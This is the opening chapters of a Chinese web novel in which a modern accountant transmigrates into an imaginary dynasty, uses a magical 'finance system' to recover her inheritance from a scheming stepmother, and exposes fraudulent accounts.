《绑定财务系统后我成了权臣》 1. 第 1 章 《绑定财务系统后我成了权臣》全本免费阅读 二月春寒料峭,绵绵细雨夹杂着几片雪花落在刚长出绿尖儿的柳枝上,春意还未显现,薄雪细敷在青石黛瓦朱墙之上,车马声声,行人匆匆。 “还不醒?日上三竿了还在这里耍懒,真当自己是姜家大小姐了?赶紧给我起来干活!” 姜琰是被女人尖锐的叫声吵醒的,一睁眼便看见面前的女人正恶狠狠地盯着自己,原本精致妩媚的面容狰狞扭曲,她看了眼周围,昏暗的室内破败生霉的家具,她不禁疑惑皱眉: 她不是在出外勤的路上遇到车祸了吗,如果没记错,自己现在应该正在病房里吧,怎么会在小黑屋里? 【嘀——剧情加载成功,记忆导入中。】 冰冷的机械音在她脑中响起,下一秒她感觉脑中一痛,铺天盖地的回忆向她涌来。 她现在正在南胤国内,这是一个不属于任何历史时代的架空王朝,而自己所在的这副身体主人与她同名,是濯州富商姜秉之女姜琰,原主母亲刘氏出身江南望族,当年二人大婚,女方的嫁妆铺满十里长街,轰动全城。 只是不久后,原主母亲便难产去世,临死前指明要将自己的陪嫁原封不动的留给原主,可三年后姜老爷娶新妇进门,生下两儿一女,继母李氏见原主痴傻便将其亡母遗产转移到自己名下,没有利用价值后便对她拳脚相向,还想将她许配给自己的疯癫侄子,原主不从跳水身亡,这才让她穿了过来。 等等,那岂不是原来的她也死了? 【是的宿主,现代世界的您已经身亡。】 “看什么看!” 在她怔愣之际,继母伸出那只戴满金银玉镯的手,狠狠在她脸上甩了一巴掌。 这一巴掌彻底激怒了听闻自己身亡噩耗尚在惊愕中的姜琰,她猛地站起身来快速出手还了继母一掌。 “啊.....你,你!”李氏似乎没想到原本柔弱可欺的姜琰会突然反抗她,瞠目结舌呆站在原地,反应片刻后尖叫命令道:“来人!给我把她按住,我要亲自收拾她!” 几个粗使婆子闻言蜂拥而入,气势汹汹向她走来,姜琰眼中出现一抹惧色,李氏见状嗤笑道:“现在知道怕了,刚才打我的时候怎么没想到?真当自己还是姜家嫡女么,要不要我提醒你一下,你那短命鬼母亲早就死了,现在她名下的产业都是我的,我劝你识相点,别敬酒不吃吃罚酒,早点和沛儿成亲,你做我李家夫人也不亏!” 纵使姜琰不是原主,也被她这番话气得浑身颤抖,但眼前还有更紧迫的事情——那些婆子已经将她团团围住要动手了! 【嘀——系统已检测到宿主生命处于危险状态,赠送开局福利大力丹一枚。】 下一秒,她感觉浑身肌肉酸胀,身体内涌入一股暖流,此时一名婆子拽住她的胳膊把她往地上扯,姜琰脑中还未反应过来,身体就下意识向前一站再抬脚踹向婆子的腰。 “哎呦——”婆子痛叫一声,直直向下摔去。 “都给我上!快!我今天非要打死她不可!” 随后又有几名婆子向她扑来,她一一闪身躲过,电光火石之间竟全数被她掀翻在地。 解决完这些人姜琰脸色阴沉地向被震惊的合不拢嘴的李氏,李氏如同看怪物一般看着姜琰向她走进,见局势不妙伸出手指着她骂道:“你给我等着!” 李氏气急败坏地跺脚离开,临走时还将门重重摔上,姜琰甚至能感觉自己头顶落下簇簇土屑,原本逼仄的夯土房正摇摇欲坠。姜琰站起身在床边坐下,抠着身下已经掉絮的棉花被,望着四周的环境长长叹了口气。 想想原主本来也应该是风光无限的富商嫡女,虽然这个时代主张以农为本,觉得商贾之术都是离经叛道,但姜琰是个实打实的现代人,对于她来说没有什么比手中握着大笔钱财更让她有安全感了。 刘氏给她留了那么多商铺田地,甚至还有一座钱庄,这些都是利滚利的生意,可现在竟然全被李氏和她的亲戚们分完了。 这可不行,她想,她得把属于她的东西夺回来。 【嘀——检测到您与原主遗志高度重合,系统为您绑定财务系统。】 什...... “财务系统?” 【是的宿主,新用户自动赠送与您职业规划最匹配的工作系统,包括Office三件套:Word、Excel、PowerPoint,财务管理软件、天眼查等等您以前工作所用到的软件,但由于目前您的等级较低,系统只能解锁office系列软件哦,剩下的需要您用积分来兑换呢。】 “赚取积分?用什么赚?” 此时系统适时回话:【每使用系统技能一次,积分加100。】 “换成钱的话,好像比自己以前的工资高呢......”她在心中腹诽道。 “吁——” 急促的勒马声在府外响起,她依稀听到几句男人和女人的交谈声。 “想来是姜老爷回府了。”她喃喃道,随后目光又在系统上停留片刻,眼中闪过一道亮光。 她正想着怎么把属于自己的家产要过来时,一群婢子突然冲进房中,姜琰大叫道:“你们是什么人!” 那些婢子们似乎也没想到她会大叫,被惊得连忙捂住她的嘴:“小姐忘了么,老爷回来了,奴家正送小姐回房呢。” “好啊好啊,”她在心中骂道,“原来李氏竟然是这种阳奉阴违的狠毒女人,当着原主爹的面柔弱可欺贤良淑德,结果背地里竟然这么虐待死去正妻的孩子,当真可恶!” 她怒从心起,抓住婢子捂住她嘴的那只手咬了上去,婢子低叫一声也急了,正要动手时姜琰大喊道:“救命啊!救命!爹——” 正在前院与李氏说话的姜老爷猛然抬头:“谁!谁在叫我!” 李氏收敛了笑意,侧耳听去,发现是夯土房那边传来的声音,立刻慌张起来:“没声音啊老爷,你是不是听错了?” 姜老爷坚定地摇摇头,威压全开,四面生风地走向那间夯土房。 姜琰住的那间夯土房是储菜用的,里面狭窄阴暗,根本不能住人,再说姜氏家大业大,府中奴仆近百人,姜老爷早就给他们在花园假山后盖了一排小瓦房,为的就是搏一个善待下人的亲厚名号,此时夯土房里传来阵阵凄厉惨叫,若让旁人听去,岂不是给了别人污蔑自己虐待下人的机会? 他越想走得越快,完全不顾及李氏愈发惨白的脸色,月色朦胧,待到姜老爷完全看清求救人的面容时,已经完全傻了眼。 “清儿,是你吗?” 姜琰乳名清清,此时他如此唤她,倒叫姜琰没反应过来。 李氏趁机一脸关切地冲上来握着她的手道:“清儿,你怎么在这儿,是不是这些奴婢欺负你骗你来这儿的,你说,说出来母亲为你做主!” 姜琰强压着心中恶心,装出担惊受怕的神色道:“娘别打我,我怕!” 李氏脸上虚伪的笑容产生了一道裂纹,姜老爷听着这话不对劲,上前问道:“清儿,是谁欺负你了,别害怕,跟爹说。” 随后对着李氏严肃道:“你打她了?” “没......” “呜呜呜娘别打我,我愿意住小黑屋的,我也愿意嫁给表哥的,您别打我了!”说着,她还在不经意间露出了平常李氏打她留 2. 第 2 章 《绑定财务系统后我成了权臣》全本免费阅读 第二日,姜秉就以李氏失德为由让她交出原本刘氏留给她的财产,李氏气不过,但碍于姜秉的颜面,心不甘情不愿的交出了一部分农庄的地契,城北的一些商铺,至于钱庄...... 李氏说由于自己外甥经营不善,钱庄在两年前就已经关了。 姜琰倒是不着急,她看了眼那十几家商铺的账册,简直一塌糊涂,短短几年时间就因经营不善负债累累——欠杨家钱庄五万两、供货商杨某十万两,甚至还有欠瓦工、木匠的钱。 姜琰表示自己脑壳痛。 【嘀——积分已到帐,您目前的积分为2000,财务商店已开启,您可以去看看哦。】 【新!系统接收到新任务:查清商铺呆账坏账和经营问题,挽回商铺声誉,任务奖励:3000积分。】 【新!找到钱庄。注:此为附加任务,您可自行选择是否接受该任务,若完成,将奖励5000积分并获得额外惊喜!】 “等等,找到钱庄?也就是钱庄没倒闭?” 【是的宿主,李氏已将其改头换面藏入名下资产。】 姜琰点开面板上的商城,发现里面东西还是挺全的,比如这本《南胤税制》就很有用,而且只需要100积分,又比如这本《账房速成:从0到100手把手教你成为古代会计》......但最有用的,还是功能货架上的那个蓝色商标,这是天眼查,需要5000积分。 不过现在自己还没这么多积分,不如先缓缓,先把税制兑换了再说。 她伸出手去触碰面板,点击兑换,下一秒南胤律法里所有与经济和税收的有关条例政策都涌入了脑海中,只需要思索一下该条文的关键词,下一秒整条法律都可以倒背如流。 她真想知道如果自己有一天能回到现代世界,这个系统还可不可以继承。 —— 春雪下完后,濯州渐渐暖和起来,金黄日光掸尽陈霜,满堂春绿。 难得好天气,婢女们将姜琰房中厚重的纱帘卷起,细碎的光芒透过篾帘筛进屋内,映在姜琰轻蹙的眉头上。 她有些烦躁,因为这些商铺的经营状态实在太诡异了。 倒不是说利润和销量不高,相反,这几家商铺总和起来每年都会有万两白银的利润,销量也是居高不下,诡异的是就算有这么多利润加持,这几家商铺每年还是亏损状态——成本太高了。 比如这个新月布庄,去年六月进购丝缎八百匹,制衣才九十多件,而且丝缎进购价也高的离谱,一匹丝缎五十两,比蜀锦还贵,要知道蜀锦可是贡品! 姜琰隐约感觉这几个商铺不太对劲,决心亲自去看一眼。 “盼春,让人备车,我要去一趟北街布庄。” 盼春是姜秉送她的丫鬟,自从姜琰入住自已的兰居后,李氏明里暗里在她的屋里塞了不少人,姜琰不敢用这些人,唯有盼春不是李氏的眼线,而且看起来比较老实,姜琰就选了她做贴身丫鬟。 “好嘞。” 二人匆匆上车,马车在在石子路上被颠得咯咯作响,姜琰的胃里早已上下翻涌起来,忽听一声急促地勒马声,马车猛然停住,姜琰猝不及防地向前冲去磕到了脑袋。 她低叫了一声,盼春正色问道:“外面怎么了?” 车夫不好意思地说道;“街口不知道了来了什么大人物,将马车横停在路上,咱们的车进不去了。” 姜琰和盼春对视一眼,随即说道:“没事,我这就下来了,你在这儿等着吧,我们办完事就回来。” 车夫感激道:“谢谢小姐,谢谢小姐,那我在这儿等您回来。” 于是二人下车走了一段距离后在街口见到几辆马车,朱轮锈毂,金辔玉铃,马车后还有一群身着蓝色锦袄顶帽的侍卫,看起来并不像哪个权贵的亲兵,更像是兵部将士,这让她不禁有些好奇。 姜琰边走边观察了一下这条街,其布局有点像现在的古镇商业街,从商业角度来看,新月布庄并没有什么竞争对手,这条街上大多是酒肆、歌楼和书馆。 此时已近午时,她走着走听到一阵咕噜咕噜的响声,顺着声音看去,发现盼春正羞赧地捂着肚子,她这才想起来她们还没吃饭,便领着盼春随意进了一家酒楼。 在等菜的间隙,姜琰瞥见楼下街上正有人在争执,在他们身旁有一位中年男人手里正拿着算盘虎视眈眈,这可引起了她的兴趣,不顾盼春的阻拦走出了酒楼。 刚要走进就听见一名男子几欲哭泣的声音:“我明明只在你这里修养了几天,竟然要收我一千两白银,太过分了!” 姜琰抬头一看,这家店门口插着一小张写着医馆字样的旗子,走到那名拿着算盘的男子身旁道:“请问公子,这是发生何事了?” 男子清列的声音从头顶传来:“医馆郎中讹病患,双方正在算账。” 姜琰忍不住抬头看他,发现此人面容俊朗,眉骨低压,双目狭长,明明正值少年,却明显多出了几分鹰顾狼视之相,压迫感十足。 她勉强转头,发现这边郎中已经差人拿出账册,账房也霹雳吧啦地拨弄着手中算盘,看着病患绝望的模样,姜琰清了清嗓子,正欲站出为他解围,只感觉耳畔擦过一阵凉风,刚才还在观察情况的男子站了出来,径直走到账房身前道:“账本没错的话,我就直接取阅了。” 郎中呆愣了一瞬,刚要开口质问这人是谁,就听他自言自语道:“这位病人只在医馆疗养七日,除了吃饭、睡觉、喝水养伤并没有其他支出,要他五百两银子,不合理。” 账房却道:“您也说了病人长期住在医馆内,吃喝拉撒都离不开我们的人照顾,那我们雇杂役的费用是不是也要算到他的头上?” 姜琰却在心中思索:就算雇用杂役需要成本,但是一个杂役每月才十几钱,怎么会这么贵?于是脱口而出道:“等等!这笔账怎么算都不太对吧,你们账房是不是有问题?” 清脆的声音响起,郎中下意识看去,只见一名长相清丽的女子昂首挺胸从人群之中走出,少女的眼神清亮坚毅,头上的步摇随着身体动作缓缓摆动,鹅黄色的金丝轻纱衫流光溢彩,像早春的迎春花,十分活泼动人。 但此时他俨然利欲熏心,听到姜琰质疑他,喝道:“哪来的小丫头,竟然敢质疑我医馆的账!” 此时算账的男子开口道:“怎么没有问题?你们收取药钱还要算当初用来煎药的水井的开采费,还说这口水井耗费了千两白银,你们家的井是能挖出金子吗?” 姜琰一听也按捺不住,直接从怀里掏出一把小算盘,也噼里啪啦地算了起来:“好啊,工匠的避暑费也算进来了,还有厨娘的工时费.......” 账房却嗤笑道:“这么算有何不可?大胤律法可是规定了除了意外损耗其余费用都可算作营店成本的!” 姜琰用系统查了一下,确实如此,看向身旁的男人,他也正在皱眉不知道想什么,姜琰眼看敌方气势变强,不甘示弱道:“那你可有票据证明?可有工费明细?” 账房迅速甩出几张凭证道:“您可瞧好了,都在这儿了!” 姜琰被逼得说不出话,可身旁的男子却平静问道:“你确定这些凭票都是真实的?” 账房轻笑:“保真!” 男子也笑笑,正欲开口,却听姜琰拿着凭票嗤笑一声。 郎中恼怒道:“你笑什么?” 姜琰胸有成竹道:“你当初开店、挖井、装潢的钱全是向平泰钱庄借的,是也不是?” 郎中道:“是啊......” 姜琰却笑道:“南胤律法规定,凡是向本地钱庄借取大额银两,必须有本地清吏司主事的官印,你这上面除了钱庄庄印和你本人的签字画押,下方一片空白,你这张票据是假的!还有,你这账册上每月莫名会有五十两进额是怎么回事?哦,原来你家还负责收送药材,雇佣的杂役是你自己家的,你这只进不出,怎么没缴纳商税?” 闻言,在场所有人都目瞪口呆,不知是否是姜琰的错觉,她总感觉身旁的 3. 第 3 章 《绑定财务系统后我成了权臣》全本免费阅读 布庄的欲意何为,其实姜琰在心中已经有了大致的眉目:布料造假,伙计不应该不知道,知道了还敢卖,无非就是两点:有人授权、有利可图。 至于是谁授权,谁让他得利,答案不言而喻。 姜琰真心觉得李氏是又蠢又坏,心眼都写在明面上了还不做得好看一点,如此漏洞百出的手段也好意思拿出来恶心她,真当她还是傻子吗? 姜琰在心中发誓,一定要让彻底铲除李氏这个毒瘤。 但问题是,她现在没有证据。 李氏在一开始就告诉她部分凭证已经被烧毁了,她现在去要也没有意义,账房和伙计们在李氏没有彻底倒台前也不会向着她,那怎样才能证明这些假丝绸是她让人卖给她的呢? 她又想到了商城里的天眼查,可惜现在积分不够,但不解决又不行,李氏就像一个潜在的炸弹,留着她迟早有一天会让自己死无葬身之地,她大着胆子问系统:“系统?你有没有可以检测哪家需要账房的功能,我现在急需积分兑换天眼查。” 【正在为您检索中......】 【已检测到杨夫人月桂枝急聘府外账房,预计奖励3000积分。】 姜琰心中大喜,立刻乔装打扮一番便去杨府应聘。 由于月桂枝急需人手,她并没有怎么正经的“面试”她,反而转头带她去到后院,姜琰在里面看见了许多留着山羊胡穿着长衫的中年男子,心想这些人应该和自己一样,都是临时找来的账房先生,月桂枝给她随意指了个座位,吩咐道:“府中急需用人,我不便浪费时间专门考核你们,现在给你一摞账本,你给我把去年府内的出入货物、各项开支整理出来给我,以练代考,做得好的才能成为我府中账房。” 姜琰觉得这话越听越熟悉——怎么这么像大三暑假实习应聘时白嫖了自己一整个BT表的某事务所啊?! 她缓缓坐下,在心中庆幸还好自己没有真的入职的意愿,不然还不得被这家人压榨的渣都不剩了。 周围并无人声,不算宽阔地院内充斥着翻页声,默念声和算珠碰撞声,她看了下旁边的账房,那人正在奋笔疾书,她叹了口气,迅速翻阅着账册,心中默念启动系统,半炷香后姜琰放下账本,数据也已经录入完毕,随后便拿起笔来飞速写着表格中的数据,不出片刻,杨家的库存、去年的收支利润便浮现在账簿上。 她招呼守在他们身旁的下人道:“我做好了,请拿去给夫人看吧。” 闻言,几名账房先生都惊讶地看过来,这些账房大多是秀才和准备春闱的举人,最不济也是某个私塾的教书先生,不是有些天赋过人便是饱读诗书,刚才他们见到姜琰来时就在心中嘀咕这小嫩犊子也配和他们共事,抱着看笑话的心态才没有说些什么,如今她不仅赶在他们前面做出账来,还一副胸有成竹的模样,让他们心中更不平衡了,有人阴阳怪气道:“年轻就是好啊,无畏无惧。” 还有人直接问道:“我瞧这账本摞起来有半人高,不知阁下是何许人也,竟然这么快就整理出来了。” “对啊,阁下是哪位啊,是秀才、举人还是在谁家做过账房,看起来面生呢。” 姜琰听出了他们的挖苦,好脾气地笑道:“在下不才,自小没念过书,只是在算学上还有点天赋,看见杨府招人,便想着试一试。” 底下霎时一片嘘声,有人嘲笑道:“连童生都不是啊,那也忒丢人了,我看你年纪小劝你一句,赶紧收拾东西回家吧,不让等会儿被人发现你做错了账可就得回家找娘哭了。” 他这话引起周围人的哄堂大笑,姜琰只是默默坐下道:“结果如何,还请各位先生拭目以待。” —— 姜琰足足等到日头落下,才有人陆续将账做出交给杨夫人,结果不出所料,她做得账并无披露,甚至还快了他们半天,杨夫人亲切地拉着她的手道:“哎呦先生您可真是我们杨家的福星啊,做得账又快又好又整洁,甚至还提了几条节约府中开支,合理少交商税的建议,真是太感谢您了,这样吧,我们打算给您月银十两,您看满意吗,满意的话咱们就......” “抱歉”,姜琰适时打断她,“我仔细观察了一下贵公......呃贵府的工作环境,发现与我本人未来的职业规划不太匹配,婉拒了哈。” “这......”杨夫人有些意外,表情尴尬地僵在原地,还在想什么是“职业规划”时,姜琰掸了掸身上的灰尘,向她行礼后便潇洒离开了。 【嘀——奖励积分已到账。】 【新!触发支线任务:开展第三方会计核算业务。任务奖励:积分满10000奖励企业财务专用系统。】 正在美美兑换天眼查的姜琰瞬间石化:“什么?我不是首富之女吗为什么还要打工啊,等等,现代的财务系统,嘶......” 这个奖励确实很香,现在企业所用的财务软件不仅能完全满足企业财务基础核算,还可以实现集团层面的财务集中、全面预算、资金管理、财务报告的全面统一,从而方便管理层做出决策和制定市场战略,要是能拿到,以后管理起自己名下的产业,那岂不是易如反掌? 姜琰欣然接受这个任务,决定解决完李氏就开个古代版的会计师事务所。 天色渐渐暗下,用过晚饭的她迫不及待打开天眼查,因为系统说过现在她所用的软件都是自己过去工作时用过的,在登录时便输入了自己的账号和密码,还是会员,什么东西都可以看。 她查了下李氏的名下的产业,不多,也没有是做布料供货的,又看了眼关联企业,点进去发现许多都是她和她哥哥李平真一起经营的,而李平真名下就有一座缎庄。 “好啊”,姜琰在心中骂道,“把假绸缎高价卖到我的布庄,又能挣钱又能最快拖垮我名下的商铺,真是一石二鸟。” “不过既然卖的是假货,收取这么高的利润,想必他也没有按照规定交税吧。” 她心生一计,抓起身旁一张纸就提笔写了起来,写好后将其叠好装入信封,问盼春道:“你可知兰居中有谁不是李氏的人?” 盼春迟疑片刻道:“小姐是要送信?倘若小姐不放心交给房中人,我可以让我弟弟陈群去送,他在家中务农,和府上的人没有交集。” 姜琰点头道:“在陈庄吗,他能尽快来城中吗,我这信比较急。” 盼春问道:“小姐您这信是给谁的?若是在城中,我弟弟明早就会来府中送菜,若不在城中,可能就要耽误几天。” 姜琰浅笑道:“好说,这人就在城中,明天我跟着你弟弟一起去,告诉他送给谁。” 盼春点点头,将信藏在怀里,看见入夜已深,剪了烛芯道:“小姐,夜深了,让奴婢伺候您歇息吧。” 姜琰点点头,起身走到妆台前,褪去外衣,缓缓入睡。 —— 翌日鸡鸣十分,盼春就将她叫醒道 4. 第 4 章 《绑定财务系统后我成了权臣》全本免费阅读 几缕微风轻拂过院内海棠,发出窸窣声响,姜琰似乎是被鬓边碎发磨蹭的有些脸痒,缩了下身子,沈瑜春见她如此动作,突觉自己行为有些冒犯,连忙收回手道:“抱歉,冒犯姑娘了。” 姜琰却迷茫道:“啊?” 沈瑜春垂下眸子,抿了抿嘴道:“没事。” 气氛遇冷,姜琰还想开口说几句,便听姜秉哼哧哼哧跑过来道:“哎呦沈大人,您怎么在这儿啊,是不是府上下人招待不周让您迷路了啊,”说罢又发现旁边还有一人,惊奇道,“哎,清儿,你怎么在这儿,”随后拉着姜琰道,“这是户部侍郎沈大人,每年春季朝廷都会派大人们来各地巡账,你杵在哪儿干嘛,赶紧行礼啊!” 姜琰被拽着下跪,被沈瑜春急忙制止:“姜老爷不必如此,我曾在北市见过姜小姐一面,姜小姐算学天赋过人,沈某深表敬佩。” 姜秉闻言,脸上瞬间绽开笑容,顶着那张充满褶皱的脸奉承几句后姜琰实在听不下去了,匆匆行礼道:“父亲、沈大人,既然没什么是,小女就先行告退了。” “去吧去吧!”姜秉大手一挥,拉着沈瑜春回了厅堂。 待到日暮十分,府中有人传来叫喊声,门外马蹄嘶鸣,踢踏不已,姜琰眉头一跳,跑出兰居,看见门外停着不少马车,上面堆着密密麻麻大小不一的木箱,姜秉还在那里嘱咐:“轻拿轻放啊,千万别把账本抖散了,少一页我要你好看。” 姜琰赶紧问道:“爹爹,这是在干什么?” 姜秉皱眉道:“你怎么来了?清吏司要我把这几年姜氏名下产业的账本送去县衙,说来也倒霉,濯州这么多富庶人家,竟然抽查到我了,真是不顺啊......” “那李氏的账册呢,也交上去了?” 姜秉讶然:“李氏的账早就被人拿走了,就是那个姓沈的小子,脾气倔得很,一定要让我交上去,说什么律法规定,明明我都和尚书大人打好照面了,半路杀出来一个沈瑜春噼里啪啦讲了一堆大道理,我被烦地没办法,心想苍蝇肉虽然也是肉,但沈瑜春出身显贵,我又是个商贾之人,还是不要得罪,就咬牙交上去了。” 姜琰心下一沉,默默对系统说道:“听见了吗,这任务完不成了,你让我偷偷去县衙里查账,那不是要我命吗?” 系统义正言辞道:“逻辑不合理,请求驳回,否则寿命值减10。” 姜琰:“......我要是被抓了,开庭带上你那个破逻辑。” 系统没说话,又在装死了。 姜琰心想反正也没时间限制,要不拖一拖,拖到最后寿终正寝,这时候系统突然开口:“因宿主长时间未完成任务,,现增加‘拿回钱庄’和‘开展第三方会计核算业务’时间限制,倒计时三十天,开始计时29天23时59分。” ...... 没拿到李氏账本还莫名给自己加了两项限时任务,姜琰瞬间一个头两个大,旁边姜秉感觉她情绪不高,问道:“怎么了,李氏的账还有问题?” 姜琰淡淡道:“您还记得我娘名下曾有一座钱庄吗?” 姜秉恍然:“哦,我听你娘提起过,后来爹因为你......”他故意省去“呆傻”二字,接着说道,“就交给李氏了,李氏经营两年后说钱庄欠了巨款,她卖了城外农庄的田才补上亏空,自行决定关门了,我当时正在湖州查看商船货物,回信应允了。” 姜琰整张脸耷拉着,事到如今她也不好再说什么,悻悻道:“没事,就是觉得不太对劲,是女儿多虑了。” 姜秉嗯嗯两声,看到身旁小厮走路差点跌倒,喊道:“小心点,都小心点!” 姜琰和姜秉平时并无太多沟通,看他在忙,下意识说道:“天气渐热,爹爹莫要过多操劳,女儿不打扰爹了,先行告退。” 姜秉很少听到自己这个原配女儿的关心,心中微微动容,舒展出一个宽和的笑容:“清儿若是想要钱庄,爹可以赠你一座,就当你以后的嫁妆了。” 姜琰心说要不是为了完成任务谁稀罕钱庄,经营起来怪费事的,刘氏留给她的钱已经够多了,轻轻抬手摸了两下眼角不存在的眼泪,哑声说道:“没事的爹,女儿只是......想娘了。” 姜秉闻言一怔,那张与亡妻有几分相似的面容又将他带到从前,想来,他也有许久没有去看过她了,轻声道:“过几天寒食节,你随我去看看你娘吧。” 姜琰点头,随后回到兰居。 —— 半开的窗格露出庭前廊下夕阳中的三两梧桐树,兽首博山炉前香烟缥缈,绣着锦绣山水的屏风将屋外风光隔开,嵌金的梨花木上,如玉的指节正轻轻敲打桌面。 姜琰想了很久,既然两个任务都有时间限制,不如先做简单的,第三方会计核算业务其实就是为企业提供全面的财务审计服务,但在古代,会计制度还不发达,无法为商贾们提供财务管理税收筹划的建议,她能做的也只有代理记账。 于是她决定重操旧业,问系统道:“开展第三方会计核算业务,但没说我必须要有实体是吧?” 系统答道:【是的】 她顺着系统的回答说道:“也没有员工限制?” 【没有。】 她笑笑:“按照你这个逻辑,我是不是可以自己一个人干这个业务。” 【......是的。】 “那你搜搜,附近还有没有富庶人家需要账房,反正原则上来说古代账房也是代理记账,开展的也是第三方会计核算。” 系统沉默良久,姜琰问道:“卡了?” 系统硬邦邦回道:【正在检测......检测到乾成钱庄需要账房一位 5. 第 5 章 《绑定财务系统后我成了权臣》全本免费阅读 乾成钱庄院内,姜琰正伏案叹气。 不动用系统的结果就是这样,她逼不得已开始做起了手工账,一炷香前她刚想离开就被沈瑜春阻拦,随便找的借口都被那位老先生戳穿,无奈之下她只好留在这里,钱庄主事却在这时给他们二人抱来两摞过人高的账册,说先试试他们二位的水平,姜琰深知用系统胜之不武,只好拿起笔一字一画的整理着账册。 至于沈瑜春为什么在这儿,她不知道,这人此刻正正襟危坐在院子角落的杏花树下看着他们,不知道在想什么。 姜琰下意识摸了摸脸,今日她出门时特意用涂了深色香粉,脸上粉感还在,再摸摸头冠,也是束得好好的,她想沈瑜春应该没认出她来。 身旁的老先生不停地拨弄着算盘,噼里啪啦的算珠碰撞声响彻院内,姜琰连忙回神,其实古代整理账簿的环节和现代差不多,先做明细账再做总账最后编制财务报表,只不过体现形式和叫法不同罢了。 她先是大致扫了一眼账簿,钱庄的会计科目不多,大概一炷香的时间她便整理好了明细账,就在她将做好的分类账整理在一起准备进行下一步时,突然听到身旁传来哐当一声,姜琰被吓得差点站起,一扭头,发现那位老先生已经满头大汗地昏倒在地了。 “啊!来人啊,来人啊!”她惊呼着从坐上跌下,跪到那位老先生身边,沈瑜春看到如此情景,也疾呼随行郎中医治,钱庄上下所有人都忘了这场考试,几人将他抬去后院的客房内,郎中为他诊脉后擦汗起身道:“此人并无大概,盖肝郁气滞尔,只需静养几日切勿劳神费心。” 姜琰也随之呼了口气,心想应该是账本过多,老先生大脑过载,cpu烧了。 钱庄主事见如此博闻强识的老先生都不堪经受此等摧残,她一个稚气未脱的小伙子却神采奕奕,不禁好奇道:“既然如此,那便是公子你胜了。” “可我还没做完。” 钱庄主事哈哈两声道:“无碍,那就比较一下你与这位老先生已做账簿谁更正确便好。” 姜琰嘴唇上下碰了碰,心说那她做得他们肯定看不懂了,核算制度不一样,挠着头还想再说什么,只见沈瑜春已经捻起她案上的一张纸,浅看两眼便皱起了眉。 完了,她在心中咆哮。 沈瑜春满脸疑惑道:“这是......” 姜琰硬着头皮解释道:“小人不才,从小没读过书,没人教我怎么记账,只能用些野方法,所以......” 沈瑜春没有回她,长身玉立站在桌前,垂着眸子,鸦羽一般的睫毛在眼底扫下一片淡淡阴影。 这人的记账手法是很奇怪没错,但他怎么总觉得做得还是很整洁的呢,而且最后的数额也对...... 他指着纸上的“借”和“贷”道:“这是何意?” 姜琰一听到借贷二字,下意识脱口而出:“有借必有贷,借贷必相等。” 如果说遵纪守法是会计人的信条,那么有借必有贷便是刻在每个会计人灵魂深处的烙印,这句话深入每个会计人的骨髓,哪怕刮骨疗毒都忘不了。 这也是每个会计人大学时上的第一节会计课老师说的话,其重要程度,就像方便面不能没有调料包,西方不能没有撒路耶冷。 但沈瑜春不是现代人,不知道这句话的含义,整个人嘴角有些抽搐,姜琰只在他的脸上看到一个巨大的问号。 但她不知道怎么解释,只能打哈哈道:“小人做账方法不入流,污了大人的眼,不过大人要是信我,是否可以让小人把账做完给大人看呢。” 沈瑜春沉默良久,点了点头,姜琰迅速回到座位上,将凭证、明细账统统整理好,拿笔蘸墨,又抽了张纸,一炷香以后,终于整理完成。 这几天她也在和府上账房学习古代的记账方法,但会的不多,只会总结,她将报表得出的结论用古制誊写在纸上,递给沈瑜春。 他的神情还是淡淡的,看不住任何情绪,在翻到最后一页时,他的眼中终于有了一丝动容,他向钱庄主事点头示意,主事将她拉到一个小屋内,语重心长说道:“请问您贵姓啊?” 姜琰怔愣回道:“免贵姓刘。” 钱庄主事欣赏地打量他两下,接着说道:“是这样的,您也知道站着的是官家的人,那你就不好奇朝廷官员为何来到咱们这座小钱庄?” 姜琰心想您这可不是小钱庄,每月流水那么大,至于沈瑜春为何在此,姜琰确实想不明白。 她问道:“为何?” “唉!”钱庄主事佯作无限烦恼道,“咱们钱庄虽然不大,但好歹位列濯州前三甲,最近漠北打仗,户部的官员通宵达旦的盘算军中物资,军饷发放,但因为人数有限,短期内实在算不出来,咱们钱庄名声响亮,又离上京较近,恰好户部巡访,所以就分了一部分军中账务给钱庄的人算,只不过数额过于庞大,我钱庄十几名账房也算不明白,这才想着广纳贤士,我看公子你算学天赋过人,虽然笔法过于清奇,但却简明了当,数额也正确,不知阁下可否助我一臂之力?” 姜琰试探着问道:“在哪办......算账?” 钱庄主事以为有戏,瞬间咧嘴笑道:“就在咱们钱庄啊,管吃管住,还......” 姜琰却摆手道:“那不行,钱庄离我家太远。” 主事嗐一声道:“管吃管住!” 姜琰不吃这套:“那也不行,我家老母体弱多病,我要时时回去照看她,钱庄离我家太远,账务又多,钱少事多离家远,我何不找个轻松的活儿呢。” “那你想在哪算账?把账带回家可不行啊,要掉脑袋的。” 姜琰沉默不语,主事无奈道:“那你说,你家离哪近,钱庄不行,县衙也行。” 姜琰终于等到这句话,思索道:“县衙也行,离家不远......” 主事被说的汗流浃背了,匆匆说了句“你等下”就放着姜琰在原地自己跑去和沈瑜春商量了,片刻后主事满头大汗地跑过来道:“行,大人说了县衙也行,但是今天就得去算了,你赶紧收拾收拾随其他账房,去县衙吧。” 毕竟近水楼台先得月,先打入敌人内部,至于李氏的账本,再说吧。 出了钱庄,姜琰看到已经有几人正站在门口寒暄,姜琰默不作声地走过去挨着他们,一辆金毂马车从他们面前慢悠悠晃过。 钱庄主事没看清前面的形势,在后头大喊道:“马车坐不下了啊,太多人了,有没有会骑马的,实在不 6. 第 6 章 同行的账房们看见如此多的账本也都被吓了一条,结巴着问:“这……就是全部的?” 知府点头道:“差不多了。” 账房们互相对视一眼,心下松了口气,还好还好,他们人多,分一分应该不成问题……吧。 姜琰虽然一开始看到这么些账本着实吓了一跳,但她好歹是在事务所工作过的人,事务所每年年审时那才叫吓人,有现代高科技工具的辅助都要最少一个月才能做好,有的审计运气不好抽到盘存还会去农场数猪,相比会计科目比较单一的古代账册,那可真是大巫见小巫了。 这么想着她就真的调整好心态准备干活,先他们一步走出来去抱账本,余下几位账房见状也跟上去帮忙,几人分工明确,姜琰心想这群人里自己资历最浅,他们肯定不放心让她去做总账,未料这些人商量着商量着,最后竟然对着坐在角落里的姜琰说道:“我看姜老弟年龄虽然最小,但聪慧过人,不如最后的整理事宜便让姜老弟代理?” 姜琰在那儿听得云里雾里的:“姜某资历最浅,恐怕无法胜任啊……” 众人笑笑,其中一人说道:“我曾在杨府见过姜兄,姜兄的算学天赋在下望尘莫及,把我打得落花流水,再说我看姜兄与侍郎大人相谈甚欢,即便姜兄做错了账,相比侍郎大人也会睁一只眼闭一只眼。” 